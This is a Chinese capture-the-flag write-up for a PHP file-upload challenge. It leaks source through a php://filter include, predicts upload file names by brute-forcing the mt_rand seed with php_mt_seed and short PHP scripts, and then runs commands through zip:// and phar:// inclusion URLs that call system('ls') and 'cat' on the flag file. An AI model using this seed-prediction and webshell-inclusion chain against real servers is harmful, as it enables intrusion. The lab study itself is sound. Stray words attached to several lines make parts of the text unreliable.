【原理】文件上傳漏洞
【目的】瞭解使用zip協議
【目標url】http://111.198.29.45:31219/(xctf環境可能已下線)php
http://111.198.29.45:31219/?page=php://filter/read=convert.base64-encode/resource=upload這裏注意.php是自動補的,不須要寫。
<?php error_reporting(0); function show_error_message($message) { die("<div class=\"msg error\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function show_message($message) { echo("<div class=\"msg success\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>"); } function random_str($length = "32")//上傳的文件被重命名 { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } session_start(); $reg='/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { $seed = rand(0,999999999);// 生成隨機數作種子 mt_srand($seed);// 用seed給隨機數發生器播種 $ss = mt_rand();// 取隨機數 $hash = md5(session_id() . $ss);//Burp改包Cookie: PHPSESSID=0 setcookie('SESSI0N', $hash, time() + 3600); //能夠看見,在mt_srand()播種以後執行了第一次mt_rand(),並且變量$hash的值是可見的。 //但$hash的值是session_id()的返回值與種子拼接後再 MD5 的結果。 if ($_FILES["file"]["error"] > 0) { show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]); } $check2 = ((($_FILES["file-upload-field"]["type"] == "image/gif") || ($_FILES["file-upload-field"]["type"] == "image/jpeg") || ($_FILES["file-upload-field"]["type"] == "image/pjpeg") || ($_FILES["file-upload-field"]["type"] == "image/png")) && ($_FILES["file-upload-field"]["size"] < 204800)); $check3=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION)); if ($check3) show_error_message("Nope!"); if ($check2) { $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name']; if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) { show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]); } else show_error_message("Something wrong with the upload..."); } else { show_error_message("only allow gif/jpeg/png files smaller than 200kb!"); } } ?>
函數mt_rand()在種子相同的時候,給出的隨機數序列是同樣的,因此只要知道了種子,該函數的隨機數即可以預測。
這樣子上傳路徑就知道了html
==重點在文件名,文件名是隨機生成的。==
審計代碼上傳的文件名被改了嘛,爆一爆先是 mt_srand(rand(0, 999999999)) 設置個 seed, 而後返回第一個 mt_rand() ,使用 php_mt_seed 爆破種子。
mt_srand() 的 seed 和輸出序列是對應的,根據第一個 mt_rand() 爆出 seed, 就能夠知道文件名,進行包含了。shell
菜刀鏈接http://111.198.29.45:31219/?page=zip://./uP1O4Ds/xxx.jpg%231.php
不管是rand()函數仍是mt_rand()函數,當隨機數種子相同的時候,不管運行多少次,產生的隨機數序列都是同樣的,大牛已經用c寫了一個爆破種子程序安全
http://www.openwall.com/php_mt_seed/
首先咱們下好.tar.gz
sudo tar -zxvf php_mt_seed-3.4.tar.gz -C ../ctf(解壓到ctf文件夾裏)
進入ctf先make(c的就是這樣),出來個php_mt_seed
能夠先寫個PHP看一下本機的mt_rand()
php -r ‘echo mt_rand().」\n」;’ //echo輸出php自動播種種子,自動生成隨機數(1416....)
./php_mt_seed 1416259324 //用php_mt_seed工具把產生的隨機數做爲參數去爆破
種子(1349365831)
是 php manual 中說,自動播種種子是指:在每次調用 mt_rand()函數以前都播種一次種子呢,仍是屢次調用 mt_rand()函數以前,只播種一次種子呢,這對於咱們可否猜到產生的隨機數序列相當重要.
服務器
在測試中,在沒有進行手工播種的狀況下產生兩個連續的隨機數,而後去爆破種子,獲得了三個可能種子,通過測試發現其中一個種子產生的隨機數序列和預期的相同,因此能夠猜測在php中產生一系列的隨機數時,只進行了一次播種!想了解到更多
php的隨機數的安全性分析cookie
test.phpsession
<?php ini_set('max_execution_time', '0'); $std = "4b7a77dc528575247da8e4d51f9a8d2f"; // cookie 中的 SESSION for($i=0;$i<=999999999;$i++) { $ha = md5("0" . $i); //設爲0而不是空 if($ha === $std) { echo "Success-----------=>" . $i; // 爆出隨機數爲 i break; } if($i % 100000000 == 0) echo $i . "\n"; } ?>
222.phpdom
<?php $arr = array(2317092339,2686457404,3610056016,3610056017); //爆出來的種子把上圖的數值填進去 foreach($arr as $a) { mt_srand($a); $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; $ss = mt_rand(); //與服務器的隨機數對應 for ($i = 1; $i <= 32; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } // echo 'zip://uP1O4Ds/' . $str . '_test.png%23test&a=phpinfo();' . "<br>"; echo 'http://111.198.29.45:57784/?page=phar://uP1O4Ds/' . $str . '_test.png/test' . <br>; } ?>
獲得路徑
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=phpinfo();
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo%20system(%27ls%27);
http://111.198.29.45:57784/?page=zip://uP1O4Ds/v4dV3rcjpbV8hdjiyVmlwKomjEe8UeFq_test.png%23test/test&a=echo%20system(%27cat%20./flag-Edi98vJF8hnIp.txt%27);函數
zip 僞協議配合文件包含
某些狀況下,環境中存在文件包含漏洞而且能夠上傳文件,可是隻限 jpg 文件。
這時候能夠用 zip 協議,用法以下:
zip://path/archive.zip#dir/file.txt
這個 zip 文件不必定要以.zip爲後綴,只要該文件有 zip 正常的文件結構便可。
好比我要上傳一個shell.php,能夠先添加進壓縮包pack.zip中,而後重命名爲pack.jpg。
這時候上傳這個 jpg 文件,而後使用如 zip 僞協議進行包含:
zip://pack.jpg#shell.php工具